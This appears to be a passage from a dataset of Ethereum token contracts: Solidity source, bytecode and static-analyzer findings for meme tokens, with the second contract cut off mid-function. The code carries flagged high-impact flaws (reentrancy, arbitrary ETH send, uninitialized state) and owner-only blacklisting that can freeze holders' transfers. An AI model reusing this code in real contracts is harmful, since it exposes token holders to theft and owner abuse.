_previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610538565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610556565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610563565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105ea565b005b34801561029b57600080fd5b506102a4610663565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610668565b3480156102f257600080fd5b5061028d6106de565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610712565b34801561033a57600080fd5b5061028d61077c565b34801561034f57600080fd5b5061035861081e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61082d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561084c565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610860945050505050565b34801561047e57600080fd5b5061028d610914565b34801561049357600080fd5b5061028d610951565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d38565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e3d565b60408051808201909152601981527f505241444120494e55202d20742e6d652f5052414441696e7500000000000000602082015290565b600061054c610545610e68565b8484610e6c565b5060015b92915050565b683635c9adc5dea0000090565b6000610570848484610f58565b6105e08461057c610e68565b6105db85604051806060016040528060288152602001611fcf602891396001600160a01b038a166000908152600460205260408120906105ba610e68565b6001600160a01b03168152602081019190915260400160002054919061132e565b610e6c565b5060019392505050565b6105f2610e68565b6000546001600160a01b03908116911614610642576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610670610e68565b6000546001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106f2610e68565b6001600160a01b03161461070557600080fd5b4761070f816113c5565b50565b6001600160a01b03811660009081526006602052604081205460ff161561075257506001600160a01b038116600090815260036020526040902054610777565b6001600160a01b0382166000908152600260205260409020546107749061144a565b90505b919050565b610784610e68565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526005815264505241444160d81b602082015290565b600061054c610859610e68565b8484610f58565b610868610e68565b6000546001600160a01b039081169116146108b8576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b60005b8151811015610910576001600760008484815181106108d657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108bb565b5050565b6010546001600160a01b0316610928610e68565b6001600160a01b03161461093b57600080fd5b600061094630610712565b905061070f816114aa565b610959610e68565b6000546001600160a01b039081169116146109a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a08576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a519030906001600160a01b0316683635c9adc5dea00000610e6c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d6020811015610ab457600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0457600080fd5b505afa158015610b18573d6000803e3d6000fd5b505050506040513d6020811015610b2e57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8057600080fd5b505af1158015610b94573d6000803e3d6000fd5b505050506040513d6020811015610baa57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bdc81610712565b600080610be761081e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5257600080fd5b505af1158015610c66573d6000803e3d6000fd5b50505050506040513d6060811015610c7d57600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0957600080fd5b505af1158015610d1d573d6000803e3d6000fd5b505050506040513d6020811015610d3357600080fd5b505050565b610d40610e68565b6000546001600160a01b03908116911614610d90576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff7833981519152604482015290519081900360640190fd5b60008111610de5576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e036064610dfd683635c9adc5dea0000084611678565b906116d1565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eb15760405162461bcd60e51b81526004018080602001828103825260248152602001806120656024913960400191505060405180910390fd5b6001600160a01b038216610ef65760405162461bcd60e51b8152600401808060200182810382526022815260200180611f8c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f9d5760405162461bcd60e51b81526004018080602001828103825260258152602001806120406025913960400191505060405180910390fd5b6001600160a01b038216610fe25760405162461bcd60e51b8152600401808060200182810382526023815260200180611f3f6023913960400191505060405180910390fd5b600081116110215760405162461bcd60e51b81526004018080602001828103825260298152602001806120176029913960400191505060405180910390fd5b61102961081e565b6001600160a01b0316836001600160a01b031614158015611063575061104d61081e565b6001600160a01b0316826001600160a01b031614155b156112d157601354600160b81b900460ff161561115d576001600160a01b038316301480159061109c57506001600160a01b0382163014155b80156110b657506012546001600160a01b03848116911614155b80156110d057506012546001600160a01b03838116911614155b1561115d576012546001600160a01b03166110e9610e68565b6001600160a01b0316148061111857506013546001600160a01b031661110d610e68565b6001600160a01b0316145b61115d576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116c57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111ae57506001600160a01b03821660009081526007602052604090205460ff16155b6111b757600080fd5b6013546001600160a01b0384811691161480156111e257506012546001600160a01b03838116911614155b801561120757506001600160a01b03821660009081526005602052604090205460ff16155b801561121c5750601354600160b81b900460ff165b15611264576001600160a01b038216600090815260086020526040902054421161124557600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126f30610712565b601354909150600160a81b900460ff1615801561129a57506013546001600160a01b03858116911614155b80156112af5750601354600160b01b900460ff165b156112cf576112bd816114aa565b4780156112cd576112cd476113c5565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061131357506001600160a01b03831660009081526005602052604090205460ff165b1561131c575060005b61132884848484611713565b50505050565b600081848411156113bd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561138257818101518382015260200161136a565b50505050905090810190601f1680156113af5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113df8360026116d1565b6040518115909202916000818181858888f19350505050158015611407573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114228360026116d1565b6040518115909202916000818181858888f19350505050158015610910573d6000803e3d6000fd5b6000600a5482111561148d5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f62602a913960400191505060405180910390fd5b600061149761182f565b90506114a383826116d1565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114eb57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153f57600080fd5b505afa158015611553573d6000803e3d6000fd5b505050506040513d602081101561156957600080fd5b505181518290600190811061157a57fe5b6001600160a01b0392831660209182029290920101526012546115a09130911684610e6c565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561162657818101518382015260200161160e565b505050509050019650505050505050600060405180830381600087803b15801561164f57600080fd5b505af1158015611663573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168757506000610550565b8282028284828161169457fe5b04146114a35760405162461bcd60e51b8152600401808060200182810382526021815260200180611fae6021913960400191505060405180910390fd5b60006114a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611852565b80611720576117206118b7565b6001600160a01b03841660009081526006602052604090205460ff16801561176157506001600160a01b03831660009081526006602052604090205460ff16155b15611776576117718484846118e9565b611822565b6001600160a01b03841660009081526006602052604090205460ff161580156117b757506001600160a01b03831660009081526006602052604090205460ff165b156117c757611771848484611a0d565b6001600160a01b03841660009081526006602052604090205460ff16801561180757506001600160a01b03831660009081526006602052604090205460ff165b1561181757611771848484611ab6565b611822848484611b29565b8061132857611328611b6d565b600080600061183c611b7b565b909250905061184b82826116d1565b9250505090565b600081836118a15760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561138257818101518382015260200161136a565b5060008385816118ad57fe5b0495945050505050565b600c541580156118c75750600d54155b156118d1576118e7565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118fb87611cfa565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061192d9088611d57565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461195c9087611d57565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461198b9086611d99565b6001600160a01b0389166000908152600260205260409020556119ad81611df3565b6119b78483611e7b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1f87611cfa565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a519087611d57565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a879084611d99565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461198b9086611d99565b600080600080600080611ac887611cfa565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611afa9088611d57565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a519087611d57565b600080600080600080611b3b87611cfa565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061195c9087611d57565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cba57826002600060098481548110611bab57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c105750816003600060098481548110611be957fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2e57600a54683635c9adc5dea0000094509450505050611cf6565b611c6e6002600060098481548110611c4257fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d57565b9250611cb06003600060098481548110611c8457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d57565b9150600101611b8f565b50600a54611cd190683635c9adc5dea000006116d1565b821015611cf057600a54683635c9adc5dea00000935093505050611cf6565b90925090505b9091565b6000806000806000806000806000611d178a600c54600d54611e9f565b9250925092506000611d2761182f565b90506000806000611d3a8e878787611eee565b919e509c509a509598509396509194505050505091939550919395565b60006114a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061132e565b6000828201838110156114a3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611dfd61182f565b90506000611e0b8383611678565b30600090815260026020526040902054909150611e289082611d99565b3060009081526002602090815260408083209390935560069052205460ff1615610d335730600090815260036020526040902054611e669084611d99565b30600090815260036020526040902055505050565b600a54611e889083611d57565b600a55600b54611e989082611d99565b600b555050565b6000808080611eb36064610dfd8989611678565b90506000611ec66064610dfd8a89611678565b90506000611ede82611ed88b86611d57565b90611d57565b9992985090965090945050505050565b6000808080611efd8886611678565b90506000611f0b8887611678565b90506000611f198888611678565b90506000611f2b82611ed88686611d57565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c39a45190646ad6338e4094f0611318f7e81276926e96c2eec6a3f76c56bdaf764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,329
0xAc353947384195fAa8F9a36f72CB64bBd8530D41
//SPDX-License-Identifier: None // Telegram: https://t.me/PatrickStarInu pragma solidity ^0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract PatrickStarInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**8; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = "Patrick Star Inu"; string private constant _symbol = "PATRICK"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = 13; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(100); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 1000000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyOwner { _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = 